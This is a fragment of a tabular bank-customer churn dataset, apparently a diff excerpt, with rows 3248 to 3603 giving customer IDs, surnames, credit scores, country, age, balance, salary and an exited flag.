+3248,15721835,Owen,791,Spain,Male,25,7,0,1,1,0,89666.28,0 +3249,15800515,Singh,516,France,Male,35,5,128653.59,1,1,0,127558.26,0 +3250,15591279,Nwagugheuzo,734,France,Male,37,3,80387.81,1,0,1,77272.62,0 +3251,15587419,Shipton,611,France,Male,58,8,0,2,0,1,107665.68,1 +3252,15750335,Paterson,850,Germany,Male,43,0,108508.82,3,1,0,184044.8,1 +3253,15699619,Rivas,641,France,Male,31,10,155978.17,1,1,0,91510.71,0 +3254,15606472,Lung,585,France,Female,38,5,0,1,1,1,87363.56,0 +3255,15778368,Allan,552,Germany,Male,50,4,121175.56,1,1,0,117505.07,1 +3256,15671387,Fetherstonhaugh,507,France,Female,29,4,89349.47,2,0,0,180626.68,0 +3257,15573926,Lung,735,Spain,Male,38,7,86131.71,2,0,0,93478.96,0 +3258,15709183,Davidson,707,France,Female,58,3,102346.86,1,1,1,114672.64,0 +3259,15577514,Mai,698,Germany,Female,36,7,121263.62,1,1,1,13387.88,0 +3260,15778830,Dellucci,841,France,Male,31,2,0,2,1,0,173240.52,0 +3261,15768072,Mitchell,688,Spain,Female,33,2,0,1,0,0,27557.18,1 +3262,15768293,Sun,614,France,Male,51,3,0,2,1,1,5552.37,0 +3263,15654456,Napolitano,511,Germany,Male,48,6,149726.08,1,0,0,88307.87,1 +3264,15807525,Bailey,447,France,Male,43,2,0,2,1,0,33879.26,1 +3265,15574372,Hoolan,738,France,Male,35,5,161274.05,2,1,0,181429.87,0 +3266,15671249,Kent,422,France,Female,33,2,0,2,1,0,102655.31,0 +3267,15779744,Chou,537,Spain,Male,30,1,103138.17,1,1,1,96555.42,0 +3268,15624755,Pepper,707,Germany,Female,40,3,109628.44,1,1,0,189366.03,0 +3269,15611430,Abramowitz,690,France,Male,54,5,0,1,1,0,12847.61,1 +3270,15774744,Lord,664,Germany,Male,33,7,97286.16,2,1,0,143433.33,0 +3271,15629885,Wilson,850,France,Female,33,7,118004.26,1,1,0,183983.82,0 +3272,15708791,Abazu,584,Spain,Male,32,9,85534.83,1,0,0,169137.24,0 +3273,15793890,Harriman,728,France,Female,59,4,0,1,1,1,163365.85,1 +3274,15646091,Frankland,560,Spain,Female,43,4,95140.44,2,1,0,123181.44,1 +3275,15596984,Pinto,629,France,Female,31,6,0,1,1,1,16447.6,1 +3276,15800215,Kwemtochukwu,658,France,Male,25,3,0,2,0,1,173948.4,0 +3277,15577806,Chiu,794,Germany,Female,54,1,75900.84,1,1,1,192154.66,0 +3278,15749381,Yu,790,France,Female,41,2,126619.27,1,1,0,198224.38,0 +3279,15683758,Onyekachukwu,640,France,Male,44,7,111833.47,1,1,0,67202.74,0 +3280,15670615,Castiglione,652,Spain,Male,37,7,0,2,1,0,68789.93,0 +3281,15715622,To Rot,583,France,Female,57,3,238387.56,1,0,1,147964.99,1 +3282,15707634,Anenechukwu,775,France,Female,32,2,108698.96,2,1,1,161069.73,0 +3283,15806901,Henderson,584,France,Female,39,2,112687.69,1,1,1,127749.61,0 +3284,15775335,Ellis,635,Germany,Female,48,4,81556.89,2,1,0,191914.37,0 +3285,15724150,Nkemdirim,814,France,Male,48,9,136596.85,1,1,1,185791.9,0 +3286,15627220,Kang,735,Germany,Female,43,9,98807.45,1,0,0,184570.04,1 +3287,15672330,Lear,678,France,Female,31,1,0,2,0,1,130446.65,0 +3288,15668521,Jamieson,693,France,Male,37,1,0,2,1,1,82867.55,0 +3289,15807837,Mazzanti,640,France,Female,30,6,107499.7,1,1,1,187632.22,0 +3290,15592570,Marino,773,Spain,Female,23,8,0,2,1,0,56759.79,0 +3291,15748589,Winter,736,France,Female,30,9,0,2,1,0,34180.33,0 +3292,15635893,T'ien,693,France,Female,28,8,0,2,1,1,158545.25,0 +3293,15757632,Hughes-Jones,496,France,Female,41,1,176024.05,2,1,0,182337.98,0 +3294,15691863,Cody,751,France,Female,39,3,0,2,1,1,84175.34,0 +3295,15706071,Hunt,528,Germany,Male,39,0,127631.62,1,0,1,22197.8,1 +3296,15654296,Estrada,754,Spain,Female,19,9,0,1,1,0,189641.11,0 +3297,15755018,Dickinson,568,Germany,Female,26,10,109819.16,2,1,0,154491.39,0 +3298,15594041,Fanucci,592,Spain,Female,41,2,138734.94,1,1,0,90020.74,0 +3299,15670587,Yang,558,Germany,Male,25,10,111363.1,2,1,0,197264.35,0 +3300,15724527,Forbes,825,France,Male,34,9,0,2,1,1,31933.06,0 +3301,15801904,Heard,677,Germany,Male,28,0,143988,2,1,0,8755.69,1 +3302,15658195,Efremova,653,France,Male,34,5,118838.75,1,1,1,52820.13,0 +3303,15630113,Morphett,593,Spain,Male,35,4,161637.75,1,1,1,20008.46,0 +3304,15784320,Lenhardt,632,France,Female,44,3,133793.89,1,1,1,34607.14,1 +3305,15676513,Burns,601,Germany,Male,35,8,71553.83,1,1,0,177384.45,0 +3306,15574072,Ch'ien,786,France,Female,62,8,0,1,1,1,165702.64,0 +3307,15633854,Sun,654,France,Female,40,3,0,2,1,0,167889.1,0 +3308,15618566,Jamieson,572,France,Female,38,7,0,2,1,1,133122.62,0 +3309,15733014,Nolan,813,France,Female,62,10,64667.95,2,0,1,140454.14,0 +3310,15753343,Barry,523,France,Female,28,2,121164.11,1,1,1,59938.81,0 +3311,15746076,Saunders,506,Spain,Male,50,3,0,2,1,0,12016.79,0 +3312,15608226,McMorran,513,Spain,Male,72,3,98903.06,1,1,1,81251.24,0 +3313,15605684,Phelan,664,France,Female,31,7,104158.84,1,1,0,134169.85,0 +3314,15638988,Fu,684,France,Male,54,6,0,2,1,1,94888.6,0 +3315,15628767,Hotchin,608,Spain,Female,63,3,139529.93,2,1,1,175696.16,1 +3316,15737977,Aksyonov,527,France,Female,25,6,0,2,0,1,96758.58,0 +3317,15758116,Rossi,666,France,Male,53,5,64646.7,1,1,0,128019.48,1 +3318,15575119,Hughes,779,France,Male,71,3,0,2,1,1,146895.36,1 +3319,15625126,Duncan,629,France,Female,40,6,0,2,1,1,139356.3,0 +3320,15567114,McGarry,430,France,Male,35,1,118894.22,1,0,0,2923.61,0 +3321,15672242,Aksenov,712,France,Male,24,2,0,1,0,1,121232.51,0 +3322,15681327,Akhtar,682,France,Male,30,9,0,2,1,1,2053.42,0 +3323,15802585,Pisani,634,France,Female,41,8,68213.99,1,1,1,6382.46,0 +3324,15740630,Pisano,487,Spain,Female,31,1,0,2,1,0,158750.13,0 +3325,15815420,McDaniels,808,Spain,Male,47,8,139196,1,0,1,74028.36,0 +3326,15711468,Tennant,527,France,Female,32,7,0,2,1,1,44099.75,0 +3327,15799626,Donaghy,637,Germany,Male,50,4,126345.55,1,0,1,17323,1 +3328,15659325,Todd,802,Spain,Male,40,5,0,2,1,1,175043.69,0 +3329,15651352,Tobenna,529,France,Female,38,2,0,1,1,0,146388.85,1 +3330,15684925,Vicars,850,France,Female,43,3,0,2,0,0,2465.8,0 +3331,15657439,Chao,738,France,Male,18,4,0,2,1,1,47799.15,0 +3332,15574122,Tien,817,France,Male,34,5,129278.43,1,0,0,165562.84,0 +3333,15720508,Hsing,735,France,Male,31,3,119558.35,1,0,0,72927.68,0 +3334,15599078,Yang,619,Germany,Female,41,5,92467.58,1,1,0,38270.47,0 +3335,15702300,Walker,671,France,Male,27,5,0,2,0,0,120893.07,0 +3336,15660735,T'ang,581,Spain,Female,31,6,0,2,1,0,188377.21,0 +3337,15671390,Chukwukere,690,Spain,Male,36,10,0,2,1,0,55902.93,0 +3338,15647385,Ch'iu,579,Spain,Male,56,4,99340.83,1,0,0,4523.74,1 +3339,15739223,Pai,688,Spain,Female,24,3,0,2,1,1,102195.16,0 +3340,15631305,Franklin,599,Spain,Female,28,4,126833.79,2,1,0,60843.09,1 +3341,15809263,Y?,729,Germany,Male,29,5,109676.52,1,1,1,25548.47,0 +3342,15640866,Peng,718,France,Female,29,3,0,1,0,1,134462.29,0 +3343,15775663,Otitodilichukwu,712,Germany,Male,53,6,134729.99,2,1,1,132702.64,0 +3344,15631800,Pagnotto,474,France,Male,37,3,98431.37,1,0,0,75698.44,0 +3345,15654292,Vessels,565,Germany,Male,33,8,130368.31,2,1,0,105642.43,0 +3346,15648320,Heller,658,France,Female,31,7,123974.96,1,1,0,102153.75,0 +3347,15726747,Donaldson,714,France,Male,63,4,138082.16,1,0,1,166677.54,0 +3348,15694510,Ifeanyichukwu,725,France,Male,45,1,129855.32,1,0,0,24218.65,0 +3349,15572291,Kao,825,France,Male,40,6,132308.22,1,0,0,117122.5,0 +3350,15603465,Dunn,665,Germany,Female,45,5,155447.65,2,1,0,51871.95,1 +3351,15685628,Calabresi,670,Spain,Male,35,2,124268.64,2,0,1,84321.03,0 +3352,15792729,Holland,474,Germany,Female,34,9,176311.36,1,1,0,160213.27,0 +3353,15767414,Calabresi,591,France,Male,40,2,99886.42,2,1,1,88695.19,0 +3354,15568044,Butusov,508,France,Female,31,7,0,2,1,1,6123.15,0 +3355,15751333,Atkinson,695,France,Female,36,2,0,2,0,1,167749.54,0 +3356,15623062,Vasilyeva,660,Germany,Male,24,5,85089.3,1,1,1,71638,0 +3357,15713621,Mollison,687,Germany,Male,41,10,134318.21,2,1,1,198064.52,0 +3358,15670668,Webb,658,Germany,Male,29,5,75395.53,2,0,1,54914.92,0 +3359,15750638,Obiajulu,705,Germany,Female,33,5,116765.7,1,0,0,190659.17,1 +3360,15747878,Aiken,739,Spain,Male,60,4,0,1,1,1,51637.67,0 +3361,15726796,Brabyn,844,France,Male,38,7,111501.66,1,1,1,119333.38,0 +3362,15754952,Su,602,Germany,Female,48,7,76595.08,2,0,0,127095.14,0 +3363,15652192,Traeger,759,France,Female,33,9,160541.36,2,0,0,93541.14,0 +3364,15681924,Ekwueme,747,Germany,Male,38,2,129728.6,1,1,0,89289.54,0 +3365,15763544,Thompson,673,France,Male,47,1,0,2,0,0,108762.16,0 +3366,15764431,Chinwenma,671,Spain,Female,34,5,130929.02,4,1,1,28238.25,1 +3367,15684010,Tuan,640,Germany,Female,74,2,116800.25,1,1,1,34130.43,0 +3368,15648881,Tsai,581,Germany,Male,40,0,101016.53,1,0,1,7926.35,1 +3369,15733303,Liu,630,France,Male,67,5,0,2,1,1,27330.27,0 +3370,15643294,Robinson,703,France,Female,33,8,190566.65,1,1,1,79997.14,0 +3371,15749905,Carr,698,Spain,Female,47,6,0,1,1,0,50213.81,1 +3372,15625175,Palerma,742,Germany,Female,43,6,97067.69,1,0,1,60920.03,1 +3373,15643967,Chineze,652,France,Female,37,4,92208.54,1,0,1,197699.8,1 +3374,15578251,Fang,644,France,Male,37,2,186347.97,2,1,0,92809.73,0 +3375,15772573,Simpson,735,Spain,Male,55,2,103176.62,1,0,1,163516.16,0 +3376,15733234,Moretti,777,France,Female,58,4,0,1,1,1,62449.07,1 +3377,15721582,Hale,644,Germany,Female,40,4,77270.08,2,1,1,115800.1,1 +3378,15628219,Benson,665,Germany,Female,37,3,111911.63,1,1,1,110359.68,1 +3379,15571302,Estep,529,Germany,Male,72,5,94216.05,1,1,1,78695.68,0 +3380,15637178,Mishina,803,Spain,Female,45,7,0,2,1,1,128378.04,0 +3381,15601184,Abramovich,604,Spain,Female,26,3,0,2,1,0,155248.62,0 +3382,15629511,Lavrentiev,738,France,Male,49,6,106770.82,1,1,0,123499.27,0 +3383,15570629,Alexeyeva,655,Germany,Female,72,5,138089.97,2,1,1,99920.41,0 +3384,15665766,T'ang,698,Germany,Male,39,9,133191.19,2,0,1,53289.49,0 +3385,15693732,Kilgour,775,France,Female,66,9,0,2,1,1,67622.34,0 +3386,15765982,Chin,735,France,Male,41,7,74135.85,1,1,1,11783.1,1 +3387,15582016,Fiorentini,766,Spain,Male,41,6,99208.46,2,1,0,62402.38,0 +3388,15798024,Lori,537,Germany,Male,84,8,92242.34,1,1,1,186235.98,0 +3389,15588622,Marchesi,599,Germany,Male,25,7,108380.72,1,1,1,79005.95,0 +3390,15724863,Sheppard,420,Spain,Female,55,4,91893.32,1,1,0,144870.28,1 +3391,15618213,Nnanna,674,France,Female,32,7,85757.93,1,1,1,95481,0 +3392,15780411,Norris,570,France,Female,46,3,0,2,0,0,820.46,0 +3393,15725429,Vincent,623,Germany,Male,33,8,96759.42,1,1,1,174777.98,0 +3394,15600626,Bradley,710,France,Male,30,6,0,2,1,1,8991.17,0 +3395,15668460,Bellucci,466,France,Male,29,6,0,2,1,1,2797.27,0 +3396,15576263,Clements,759,France,Female,22,5,0,1,1,0,22303.17,0 +3397,15720354,Knowles,581,France,Male,71,4,0,2,1,1,197562.08,0 +3398,15691624,Chidiebere,820,France,Male,33,2,132150.26,2,1,0,23067.97,0 +3399,15793196,Kelly,759,France,Male,41,9,0,2,0,1,190294.12,0 +3400,15633352,Okwukwe,628,France,Female,31,6,175443.75,1,1,0,113167.17,1 +3401,15750874,Onyemere,676,France,Male,31,3,78990.15,1,1,1,124777.14,0 +3402,15588923,Murphy,591,France,Female,33,4,113743.37,1,1,0,124625.08,0 +3403,15715745,Elliott,690,France,Female,26,5,157624.84,1,1,1,49599.27,0 +3404,15611800,Loggia,624,France,Female,62,7,125163.62,2,1,1,151411.5,0 +3405,15576928,Walsh,573,France,Female,23,2,0,1,1,0,122964.18,0 +3406,15793693,Mahomed,694,France,Male,60,9,0,1,1,1,57088.97,0 +3407,15581252,Dolgorukova,632,Spain,Female,29,7,80922.75,1,1,0,7820.78,0 +3408,15797760,Bogdanov,632,France,Male,40,3,193354.86,2,1,0,149188.41,0 +3409,15790564,She,832,Germany,Female,40,9,107648.94,2,1,1,134638.97,0 +3410,15593736,Cook,598,Germany,Female,46,7,131769.04,1,0,0,184980.23,1 +3411,15595937,Bruno,430,Germany,Male,36,1,138992.48,2,0,0,122373.42,0 +3412,15815628,Moysey,711,France,Female,37,8,113899.92,1,0,0,80215.2,0 +3413,15782802,Beneventi,582,Germany,Male,26,6,114450.32,1,1,1,14081.64,0 +3414,15627412,Ferri,605,France,Male,39,3,0,2,1,0,199390.45,0 +3415,15734609,Skinner,657,France,Female,37,2,0,2,1,1,7667.48,0 +3416,15710689,Angel,578,Spain,Male,40,6,63609.92,1,0,0,74965.61,1 +3417,15565806,Toosey,532,France,Male,38,9,0,2,0,0,30583.95,0 +3418,15815530,Chin,612,France,Female,42,10,75497.51,1,0,0,149682.78,0 +3419,15632272,Lung,792,France,Female,42,2,0,2,1,0,92664.09,0 +3420,15684103,Mellor,674,France,Female,26,10,0,2,1,1,138423.1,0 +3421,15654519,Hassall,680,France,Male,31,1,0,2,1,1,3148.2,0 +3422,15767722,Richardson,593,France,Female,39,0,117704.73,1,1,0,197933.5,0 +3423,15654346,Poninski,679,Germany,Male,35,1,130463.55,2,1,1,37341.17,0 +3424,15660147,Dore,493,Spain,Male,32,8,46161.18,1,1,1,79577.4,0 +3425,15814998,Bonham,688,Spain,Male,42,5,0,2,0,0,197602.29,0 +3426,15802207,Ibezimako,769,Germany,Male,43,4,110182.54,2,1,1,87537.32,0 +3427,15658668,Hunter,581,Spain,Male,49,10,0,2,0,0,41623.59,0 +3428,15715079,Bold,465,France,Male,41,9,117221.15,1,1,0,168280.95,0 +3429,15570360,Wan,641,France,Female,35,4,0,2,0,0,125986.18,0 +3430,15674678,Bradley,731,Germany,Female,43,9,79120.27,1,0,0,548.52,1 +3431,15780925,Tretyakova,625,France,Male,37,1,177069.24,2,1,1,96088.54,0 +3432,15688193,Graham,468,France,Male,36,3,61636.97,1,0,0,107787.42,0 +3433,15778219,Izmailov,790,France,Male,26,5,0,1,1,0,20510.79,0 +3434,15696514,Calabrese,587,Germany,Female,37,6,104414.03,1,1,0,192026.02,0 +3435,15712303,Valentin,692,France,Male,66,4,159732.02,1,1,1,118188.15,0 +3436,15719090,Osonduagwuike,676,Germany,Female,34,4,89437.03,1,1,1,189540.95,0 +3437,15735632,Williamson,571,France,Male,41,8,0,1,1,1,63736.17,0 +3438,15619436,Pan,700,France,Female,32,3,0,1,0,0,95740.37,0 +3439,15722404,Carpenter,445,France,Female,30,3,0,2,1,1,127939.19,0 +3440,15662063,McIver,746,France,Male,36,7,142400.77,1,1,1,193438.69,0 +3441,15745605,Trevisan,722,France,Female,47,2,88011.4,1,1,1,90655.94,1 +3442,15636658,Rozhkova,596,France,Male,36,2,0,2,1,1,12067.39,0 +3443,15784130,He,850,Germany,Female,30,8,154870.28,1,1,1,54191.38,0 +3444,15606755,Moretti,597,Spain,Female,46,4,0,2,1,0,58667.16,1 +3445,15801699,Fishbourne,436,Spain,Male,43,5,0,2,1,1,35687.43,0 +3446,15784097,Gibson,660,Germany,Male,28,1,118402.25,2,1,0,14288.93,0 +3447,15764654,Zikoranachidimma,649,France,Male,37,9,87374.88,2,1,1,247.36,0 +3448,15612092,Palmer,646,Germany,Male,32,8,105397.8,1,1,0,78111.84,1 +3449,15610903,Chukwueloka,560,Spain,Female,31,5,125341.69,1,1,0,79547.39,0 +3450,15705777,Real,710,Germany,Male,49,10,129164.88,1,1,1,193266.72,0 +3451,15661936,Chikelu,513,France,Male,40,3,141004.46,1,1,0,105028.46,0 +3452,15700864,Fiorentini,607,France,Female,21,0,0,2,1,0,116106.52,0 +3453,15722965,Yefimova,757,France,Male,57,3,89079.41,1,1,1,53179.21,1 +3454,15737521,Ball,619,Germany,Male,40,9,103604.31,2,0,0,140947.05,0 +3455,15814465,Ch'in,612,France,Male,24,1,182705.05,1,1,1,171837.06,0 +3456,15580988,Odell,842,France,Male,29,8,0,2,1,1,123437.05,0 +3457,15789974,Enemuo,713,France,Male,33,6,94598.48,1,0,0,197519.66,1 +3458,15713370,Hunter,657,Spain,Male,36,8,188241.05,2,0,0,183058.51,1 +3459,15748673,Nepean,770,France,Female,37,9,0,2,0,0,22710.72,0 +3460,15754919,Nwebube,773,France,Female,40,10,0,2,0,1,69303.15,0 +3461,15641662,Enticknap,470,Germany,Male,39,5,117469.91,2,0,0,63705.9,0 +3462,15813422,Lu,781,Spain,Male,35,4,80790.74,1,1,0,116429.51,0 +3463,15713596,Ugochukwu,428,France,Female,62,1,107735.93,1,0,1,58381.77,0 +3464,15791216,Mann,600,Germany,Male,43,8,133379.41,1,1,0,177378.66,1 +3465,15689031,Murphy,697,Spain,Female,37,7,168066.87,1,1,0,35450.53,0 +3466,15763704,Docherty,692,Germany,Female,43,2,69014.49,2,0,0,164621.43,0 +3467,15631339,Adams,791,France,Male,28,4,0,1,1,0,174435.48,0 +3468,15771509,Hirst,538,Germany,Female,42,1,98548.62,2,0,1,94047.75,0 +3469,15769586,Horan,820,France,Female,49,1,0,2,1,1,119087.25,0 +3470,15656096,Cumbrae-Stewart,679,Spain,Female,26,3,76554.06,1,1,1,184800.27,0 +3471,15585280,Kinney,649,France,Female,36,2,0,2,0,1,75035.48,0 +3472,15743582,T'ang,632,France,Female,27,3,107375.82,1,1,1,62703.38,0 +3473,15761692,Muir,594,France,Male,40,9,122417.17,2,0,1,190882.69,0 +3474,15627840,Toscano,682,France,Female,42,0,0,1,0,1,91981.85,1 +3475,15778861,Wallace,720,Spain,Male,33,6,97188.62,1,0,0,91881.29,0 +3476,15770554,Fraser,769,France,Male,31,4,61297.05,2,1,1,7118.02,0 +3477,15806956,Iqbal,746,Spain,Male,30,1,112666.67,1,0,0,11710.4,1 +3478,15701908,Nina,623,Spain,Female,40,7,0,1,1,1,25904.12,0 +3479,15736990,Chuang,537,France,Male,28,3,157842.07,1,1,0,86911.49,0 +3480,15743714,Ch'ien,468,France,Male,46,7,91443.75,1,1,0,10958.18,0 +3481,15807993,Bruno,588,Germany,Female,30,0,110148.49,1,1,0,5790.9,1 +3482,15644686,Kennedy,729,Spain,Female,34,9,53299.96,2,1,1,42855.97,0 +3483,15677377,Lawrence,543,Spain,Male,37,3,0,2,1,1,78915.68,0 +3484,15626412,Mort,499,Spain,Male,39,6,0,2,1,1,81409,0 +3485,15643679,Goliwe,784,Germany,Male,28,2,70233.74,2,1,1,179252.73,0 +3486,15728456,Martinez,604,France,Male,33,3,0,1,1,0,42171.13,1 +3487,15630661,Vasilyev,614,Spain,Female,25,10,75212.28,1,1,0,58965.04,0 +3488,15734044,Black,671,France,Female,31,7,41299.03,1,0,1,102681.32,0 +3489,15705001,Napolitani,587,Spain,Female,35,3,83286.56,1,1,0,125553.52,0 +3490,15809817,Ch'en,593,Spain,Male,43,10,0,2,0,0,53478.02,0 +3491,15809137,Sagese,453,France,Male,29,6,0,1,0,0,198376.02,1 +3492,15751593,Fraser,570,Germany,Male,35,6,85668.59,1,1,0,105525.36,0 +3493,15626491,Hughes,655,France,Female,45,7,57327.04,1,0,1,47349,0 +3494,15765461,Giles,632,Spain,Male,47,3,0,2,1,0,178822.32,0 +3495,15568120,Lacross,681,France,Female,37,7,69609.85,1,1,1,72127.83,0 +3496,15787161,Pisani,591,Germany,Male,46,4,129269.27,1,1,0,163504.33,0 +3497,15812324,King,779,France,Male,27,1,0,2,1,1,190623.02,0 +3498,15588944,Maughan,456,France,Female,63,1,165350.61,2,0,0,140758.07,1 +3499,15694253,Palerma,686,France,Female,41,7,152105.57,2,0,1,132374.41,0 +3500,15759566,Tochukwu,617,France,Male,74,10,0,2,1,1,53949.98,0 +3501,15675675,Slate,850,France,Female,32,5,106290.64,1,1,0,121982.73,0 +3502,15802060,Ch'ang,646,Germany,Female,30,10,100548.67,2,0,0,136983.77,0 +3503,15660505,Romani,735,Germany,Male,46,2,106344.95,1,1,0,114371.33,1 +3504,15782630,Genovese,543,France,Male,35,5,137482.19,1,0,0,62389.35,0 +3505,15700710,Chiebuka,490,France,Female,37,3,116465.53,1,0,1,24435.77,0 +3506,15742834,Liao,640,France,Male,45,1,0,1,1,1,10908.33,0 +3507,15806511,Berry,445,Spain,Male,45,10,0,2,0,1,90977.48,0 +3508,15608166,Fallaci,761,France,Male,36,9,127637.92,1,1,1,81062.93,0 +3509,15614230,T'an,426,France,Female,34,3,0,2,1,1,61230.83,0 +3510,15729958,Wilkinson,777,France,Male,37,1,0,1,1,1,126837.72,0 +3511,15800814,Palerma,534,France,Male,35,2,81951.74,2,1,0,115668.53,0 +3512,15674727,Lazarev,777,France,Female,42,5,147531.82,1,1,1,38819.45,0 +3513,15657779,Boylan,806,Spain,Male,18,3,0,2,1,1,86994.54,0 +3514,15801395,Warren,790,France,Female,33,10,135120.72,1,0,0,195204.99,0 +3515,15757911,Trevisani,643,Spain,Female,32,2,0,1,0,0,131301.74,0 +3516,15665340,Trevisano,584,Spain,Female,37,8,0,2,0,1,100835.19,0 +3517,15787151,Liao,638,France,Female,34,7,0,2,1,1,198969.78,0 +3518,15757821,Burgess,771,Spain,Male,18,1,0,2,0,0,41542.95,0 +3519,15600688,Liston,600,France,Female,39,5,0,2,0,0,118272.07,0 +3520,15594878,Thompson,661,Spain,Female,41,5,28082.95,1,1,0,69586.27,1 +3521,15569248,Milanesi,554,France,Female,43,10,0,2,1,0,149629.13,1 +3522,15812706,Mazure,627,Spain,Male,49,4,111087.5,1,0,1,146680.25,0 +3523,15645045,Rudduck,659,France,Female,38,9,0,2,1,1,132809.18,0 +3524,15766746,Darwin,835,France,Male,35,6,127120.07,1,1,0,28707.69,0 +3525,15700383,Uvarova,763,France,Female,35,7,115651.6,2,1,1,104706.29,0 +3526,15632551,Buccho,625,Germany,Male,31,4,77743.01,2,1,0,75335.68,0 +3527,15795129,Gallo,799,France,Female,30,9,0,2,1,0,136827.96,0 +3528,15650545,Tomlinson,849,France,Male,69,7,71996.09,1,1,1,139065.94,0 +3529,15612769,Carr,692,France,Male,28,5,61581.97,1,1,1,70179.91,0 +3530,15710853,Ts'ui,623,France,Female,24,5,0,2,1,0,116160.04,0 +3531,15623712,Coates,453,Spain,Female,42,5,0,3,1,0,83008.49,1 +3532,15653251,Hickey,408,France,Female,84,8,87873.39,1,0,0,188484.52,1 +3533,15755077,Norton,778,Germany,Female,37,0,105617.73,2,1,1,133699.82,1 +3534,15808557,Mancini,695,France,Female,42,5,0,1,0,1,72172.13,1 +3535,15614687,Tien,677,Germany,Female,44,4,148770.61,2,1,1,191057.76,0 +3536,15626882,Stobie,662,Spain,Male,37,5,94901.09,1,1,1,48233.75,0 +3537,15748034,Drakeford,534,France,Male,29,7,174851.9,1,1,1,79178.31,0 +3538,15632324,Pisani,602,France,Male,59,7,0,2,1,1,162347.05,0 +3539,15761023,Murphy,554,Germany,Female,43,2,120847.11,1,1,0,7611.61,1 +3540,15761453,Kovalev,667,France,Male,42,6,0,1,1,0,88890.05,0 +3541,15646726,Crawford,672,France,Male,43,5,0,1,0,0,63833.09,0 +3542,15637169,Maclean,838,Spain,Female,67,4,103267.8,1,1,1,78310.04,0 +3543,15636024,Blackburn,692,Spain,Female,34,4,109699.08,1,1,1,37898.91,0 +3544,15801218,Bermudez,675,France,Male,49,8,135133.39,1,0,1,179521.24,1 +3545,15642655,Savage,731,Spain,Male,33,1,0,1,1,0,130726.96,0 +3546,15690130,Wyatt,468,France,Female,32,8,137649.47,1,0,0,198714.29,0 +3547,15653753,Chiemenam,542,Spain,Male,43,6,113567.94,1,1,0,89543.25,0 +3548,15641359,Shao,662,Spain,Female,35,6,0,2,0,0,2423.9,1 +3549,15776827,Langdon,770,Germany,Male,37,5,141547.26,2,0,1,180326.83,0 +3550,15647725,Napolitano,675,France,Female,61,5,62055.17,3,1,0,166305.16,1 +3551,15648455,Kung,647,Germany,Male,51,4,131156.76,1,1,0,29883.63,0 +3552,15580629,Blackwood,604,France,Male,31,6,134837.58,1,1,0,192029.19,0 +3553,15730161,Marcelo,833,France,Female,39,3,0,2,1,0,1710.89,0 +3554,15626612,Yin,741,Spain,Male,40,4,104784.23,1,1,0,135163.76,1 +3555,15662865,Storey,658,Spain,Male,36,1,0,2,0,1,84927.42,0 +3556,15629094,Fomin,528,France,Female,36,1,156948.41,1,1,1,149912.28,1 +3557,15651823,Nkemjika,590,France,Female,60,6,147751.75,1,1,0,88206.04,1 +3558,15594827,Glasgow,675,France,Male,34,1,124619.33,2,0,1,163667.56,0 +3559,15786392,Chen,765,France,Male,41,4,124182.21,1,0,0,100153.43,0 +3560,15727353,Ch'ang,650,France,Female,64,7,142028.36,1,1,0,32275.09,1 +3561,15733777,Evans,817,France,Male,44,8,0,1,0,0,65501.91,1 +3562,15614302,Crotty,699,Germany,Female,31,10,125837.86,2,1,0,189392.66,0 +3563,15723263,Cocci,495,Germany,Female,34,9,117160.32,1,1,1,116069.24,1 +3564,15687270,Iroawuchi,491,Spain,Female,61,8,0,2,0,1,139861.53,0 +3565,15803121,Chia,847,France,Male,51,5,97565.74,1,0,0,144184.06,1 +3566,15598700,Hysell,676,Spain,Female,30,5,0,2,0,1,157888.5,0 +3567,15741875,Williamson,746,Spain,Female,25,3,104833.79,1,0,0,71911.3,0 +3568,15631709,Ginikanwa,470,Spain,Female,31,2,101675.22,2,1,0,45033.75,0 +3569,15672970,Chigolum,714,Spain,Male,20,3,0,2,0,1,150465.93,0 +3570,15761670,Morley,695,France,Female,50,8,0,1,1,0,126381.6,1 +3571,15706005,Roberts,674,France,Male,46,2,174701.05,1,1,0,90189.72,1 +3572,15790336,Tokareva,664,Germany,Male,36,6,71142.77,2,1,0,122433.09,0 +3573,15754267,Fleming,697,Germany,Male,31,3,108805.42,2,0,1,123825.83,0 +3574,15791988,Chinomso,670,France,Male,68,4,0,2,1,1,11426.7,0 +3575,15683375,Compton,541,France,Female,32,4,0,1,1,1,114951.42,0 +3576,15625151,Wan,640,France,Female,66,9,116037.76,1,0,1,184636.05,0 +3577,15635285,Taylor,647,France,Male,28,8,0,2,1,1,91055.27,0 +3578,15574296,Kambinachi,757,France,Male,23,2,80673.96,2,1,0,93991.65,0 +3579,15711618,Chang,704,Germany,Female,39,1,124640.51,1,1,0,116511.12,1 +3580,15670943,See,778,Germany,Male,31,9,182275.23,2,1,0,190631.23,0 +3581,15634359,Dyer,639,Germany,Female,41,5,98635.77,1,1,0,199970.74,0 +3582,15586629,Campbell,637,France,Male,33,5,0,2,1,0,139947.17,0 +3583,15588461,Cremonesi,686,France,Male,35,4,0,1,1,0,8816.37,0 +3584,15773221,Harris,577,Spain,Male,43,8,79757.21,1,1,0,135650.72,1 +3585,15664227,Threatt,506,Germany,Male,28,8,53053.76,1,0,1,24577.34,0 +3586,15741745,Lane,757,France,Male,28,7,120911.75,2,1,1,131249.46,0 +3587,15652626,Grave,826,France,Male,55,4,115285.85,1,1,0,140126.17,0 +3588,15599410,Stanley,721,France,Male,41,2,0,2,1,0,168219.75,0 +3589,15571958,McIntosh,489,Spain,Male,40,3,221532.8,1,1,0,171867.08,0 +3590,15785406,Watts,446,France,Female,51,4,105056.13,1,0,0,70613.52,0 +3591,15687884,Alekseyeva,677,France,Male,37,3,88363.03,1,0,1,117946.3,0 +3592,15621685,Davies,769,France,Male,29,2,123757.52,2,1,0,84872.66,0 +3593,15628886,Matlock,677,Spain,Male,56,5,123959.97,1,1,1,60590.72,1 +3594,15699325,Fedorova,555,Germany,Female,62,10,114822.64,1,0,1,8444.5,0 +3595,15578369,Chiedozie,652,Germany,Female,37,9,145219.3,1,1,0,159132.83,0 +3596,15654156,Marcelo,722,Germany,Female,32,5,106807.64,1,1,1,76998.69,0 +3597,15707199,Cooper,643,France,Male,36,0,148159.71,1,0,0,55835.66,0 +3598,15671630,McMillan,796,Germany,Female,40,1,99745.95,1,1,0,177524.19,0 +3599,15632079,Hardy,720,Germany,Female,37,8,156282.79,1,1,0,45985.52,0 +3600,15767921,Madukwe,613,France,Male,41,7,0,2,1,0,60297.72,0 +3601,15573599,Adamson,506,France,Female,57,6,0,2,0,1,194421.12,1 +3602,15747208,Watt,608,France,Male,50,6,0,1,1,0,93568.77,1 +3603,15582762,Mazzanti,667,Spain,Male,77,2,0,1,1,1,34702.92,0 